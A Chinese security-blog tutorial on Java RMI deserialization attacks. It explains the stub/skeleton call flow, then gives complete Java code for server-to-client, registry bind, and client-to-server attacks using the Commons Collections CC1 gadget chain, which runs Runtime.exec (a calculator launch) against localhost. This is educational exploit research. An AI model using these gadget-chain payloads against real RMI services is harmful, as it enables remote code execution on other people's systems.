java-RMI远程调用2

RMI 客户端与服务端调用过程

在前一篇文章中记录了RMI的基础知识,大家可以去参考:https://www.cnblogs.com/lalalaxiaoyuren/p/15988320.html

这里我们重新回顾下RMI客户端与服务端的调用过程!

RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制,RMI调用远程方法的大致如下:

  1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)。

  2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。

  3. RemoteCall序列化RMI服务名称、Remote对象。

  4. RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式(传输层)传输到RMI服务端的远程引用层。

  5. RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。

  6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。

    注:反序列化就是从这里开始的,在RMI过程中,RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会传递给Skeleton代理(sun.rmi.registry.RegistryImpl_Skel#dispatch),反序列化的操作实际是sun.rmi.registry.RegistryImpl_Skel#dispatch来进行处理

  7. Skeleton处理客户端请求:bind、list、lookup、rebind、unbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。

  8. RMI客户端反序列化服务端结果,获取远程对象的引用。

    注:RMI客户端能够反序列化服务端的结果,那么也注定了RMI客户端上也能造成反序列化漏洞

  9. RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。注:这里其实就说明了真正执行代码的地方并不是在客户端而是在服务端,而客户端代码的方法调用只不过是取得了数据

  10. RMI客户端反序列化RMI远程方法调用结果。

服务端攻击客户端

服务端攻击客户端,这种是比较通用的攻击情景

服务端饭回参数为Object对象,在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以cc1为例

RMITest:

// RMITest 
// 远程接口,Remote对象的接口编写,需要继承Remote类
public interface RMITest extends Remote {
    Object test() throws RemoteException;
}

RMITestImpl:

//RMITestImpl
// 远程接口的实现类,实现定义的RMITest接口,继承UnicastRemoteObject类(实现类中使用的对象必须都可序列化,即都继承java.io.Serializable,但是如果实现类继承了UnicastRemoteObject,UnicastRemoteObject该类中已经继承了Serializable,所以就不用再写一次了!)
public class RMITestImpl extends UnicastRemoteObject implements RMITest {
    protected RMITestImpl() throws RemoteException {
        super();
    }
    @Override
    public Object test() throws RemoteException{

        InvocationHandler handler = null;
        try {
            ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{
                            "getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{
                            null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})});
            HashMap innermap = new HashMap();
            Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
            Constructor[] constructors = clazz.getDeclaredConstructors();
            Constructor constructor = constructors[0];
            constructor.setAccessible(true);
            Map map = (Map) constructor.newInstance(innermap, chain);


            Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            handler_constructor.setAccessible(true);
            InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //创建第一个代理的handler

            Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //创建proxy对象


            Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            AnnotationInvocationHandler_Constructor.setAccessible(true);
            handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);

        }catch(Exception e){
            e.printStackTrace();
        }

        return (Object)handler;
    }
}

服务端:

//RMIServer.java
//1.开启rmi服务,rmi://127.0.0.1:1099
//2.将RMITestImpl远程对象注册到Registry中,绑定远程对象与对应的RMI服务名称,即rmi://127.0.0.1:1099/rmiserver
public class RMIServer {
    // RMI服务器IP地址
    public static final String RMI_HOST = "127.0.0.1";
    // RMI服务端口
    public static final int RMI_PORT = 1099;
    // RMI服务名称
    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/rmiserver";

    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
        // 注册RMI服务端口
        LocateRegistry.createRegistry(RMI_PORT);
        // 绑定对应的Remote对象(这里就是你的RMITestImpl对象)
        Naming.bind(RMI_NAME, new RMITestImpl());
        System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
    }
}

客户端:

//RMIClient.java
//客户端需要找到对应的RMI服务端中的指定服务名称,并请求远程对象
//这里寻找服务端的 rmi://127.0.0.1:1099/rmiserver 并返回对象remoteSub,调用该对象的test方法,实际调用的是服务端上远程实现对象RMITestImpl的test方法,在客户端本地执行
public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        RMITest remoteSub = (RMITest) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("rmiserver");
        remoteSub.test();
    }
}

先开启服务端,开启RMI服务

接着开启我们的客户端,成功在客户端执行命令,即服务端攻击了客户端

服务端/客户端 攻击注册中心

开启RMI服务端

public class RMIServer {
    // RMI服务器IP地址
    public static final String RMI_HOST = "127.0.0.1";
    // RMI服务端口
    public static final int RMI_PORT = 1099;
    // RMI服务名称
    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/rmiserver";

    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
        // 注册RMI服务端口
        LocateRegistry.createRegistry(RMI_PORT);
        // 绑定对应的Remote对象(这里就是你的RMITestImpl对象)
        Naming.bind(RMI_NAME, new RMITestImpl());
        System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
    }
}

伪造一个恶意的RMI服务端对注册中心Registry进行bind函数操作的时候,这个时候就是在跟注册中心Registry进行交互,双方同样也是通过序列化和反序列化进行数据的传输,那么最后在注册中心就会进行RegistryImpl_Skel触发反序列化操作,从而进行命令执行

public class RMIExploitClient {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"}),
        };
        Transformer transformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value","sss");//左边的值必须要是value
        Map outputMap = TransformedMap.decorate(innerMap,null,transformer);
        try {
            Constructor<?> constructor = null;
            constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
            constructor.setAccessible(true);
            InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class,outputMap);

            Remote remote = Remote.class.cast(Proxy.newProxyInstance(RMIExploitClient.class.getClassLoader(), new Class[] {Remote.class}, invocationHandler));
            Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
            registry.bind("sa",remote); // bind注册中心
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

总结:

  1. 当客户端调用远程对象方法的时候一共进行了两步操作:

    1. 要获得对应的对象,客户端需要先请求注册中心拿到要调用的对象,首先客户端会先请求注册中心,接着注册中心序列化对应的对象返回,然后客户端接收到了进行反序列化
    2. 拿到了一个对象之后,继续调用方法,这时候就是请求RMI服务端调用方法,接着服务端RMI进行序列化数据返回给客户端,客户端再反序列化获得对应对象调用的方法的数据
  2. RMI Registry就像⼀个⽹关,他⾃⼰是不会执⾏远程⽅法的,但RMI Server可以在上⾯注册⼀个Name到对象的绑定关系;

  3. RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMIServer;

  4. 最后,远程⽅法实际上在RMI Server上调⽤

  5. 在RMI过程中,RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会传递给Skeleton代理(sun.rmi.registry.RegistryImpl_Skel#dispatch)

  6. 最终实际是sun.rmi.registry.RegistryImpl_Skel#dispatch来进行处理,我们可以定位其查看重要逻辑代码。这里我们可以得知,Registry注册中心能够接收bind/rebind/unbind/look/list/请求,而在接收五类请求方法的时候,只有我们bind,rebind,unbind和look方法进行了反序列化数据调用readObject函数,可能导致直接触发了反序列化漏洞产生。而我们往下跟踪这五类方法请求,发现也是在RegistryImpl_Stub中进行定义。(在客户端lookup,或服务端bind\rebingd\unbind方法 去和注册中心交互时都可以触发反序列化操作)

客户端攻击服务端

远程对象接口

public interface RMITest extends Remote {
    String test(Object object) throws RemoteException;
}

远程对象实现类,接收Object类型参数的远程方法

public class RMITestImpl extends UnicastRemoteObject implements RMITest {
    protected RMITestImpl() throws RemoteException {
        super();
    }
    @Override
    public String test(Object object) throws RemoteException{
        System.out.println("Hello RMI");
        return "Hello RMI";
    }
}

服务端,RMI的服务端存在执行POP利用链的jar包

public class RMIServer {
    // RMI服务器IP地址
    public static final String RMI_HOST = "127.0.0.1";
    // RMI服务端口
    public static final int RMI_PORT = 1099;
    // RMI服务名称
    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/rmiserver";

    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
        // 注册RMI服务端口
        LocateRegistry.createRegistry(RMI_PORT);
        // 绑定对应的Remote对象(这里就是你的RMITestImpl对象)
        Naming.bind(RMI_NAME, new RMITestImpl());
        System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
    }
}

客户端,我们的客户端再把CC1链的payload作为test方法的参数进行发送

public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException {
        RMITestImpl obj = new RMITestImpl();
        RMITest remoteSub = (RMITest) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("rmiserver");
        remoteSub.test(sendPayload());
    }

    public static Object sendPayload() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        // 定义需要执行的本地系统命令
        String cmd = "open /System/Applications/Calculator.app";

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 创建Map对象
        Map map = new HashMap();
        map.put("value", "value");

        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

        // 获取AnnotationInvocationHandler类对象
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        // 获取AnnotationInvocationHandler类的构造方法
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object instance = constructor.newInstance(Target.class, transformedMap);
        return instance;
    }
}

开启服务端,rmi://127.0.0.1:1099/rmiserver

开启客户端,调用我们的远程方法test(),实际在服务器上执行,客户端调用远程实现类的test()方法,远程执行类在服务端,服务端接受接收我们test(object),因为客户端和服务端传输是序列化对象,在服务端会反序列化我们的object,服务端成功执行我们的系统命令

总结:

  1. 在RMI中对象是通过序列化方式进行编码传输的

  2. RMI服务端提供的方法,被调用的时候该方法是在服务端上进行执行的

  3. 实现RMI利用反序列化攻击,需要满足两个条件:

    a. 接收Object类型参数的远程方法

    b. RMI的服务端存在执行POP利用链的jar包

posted @ 2022-04-17 17:40  lalalaxiaoyuren  阅读(109)  评论(0编辑  收藏  举报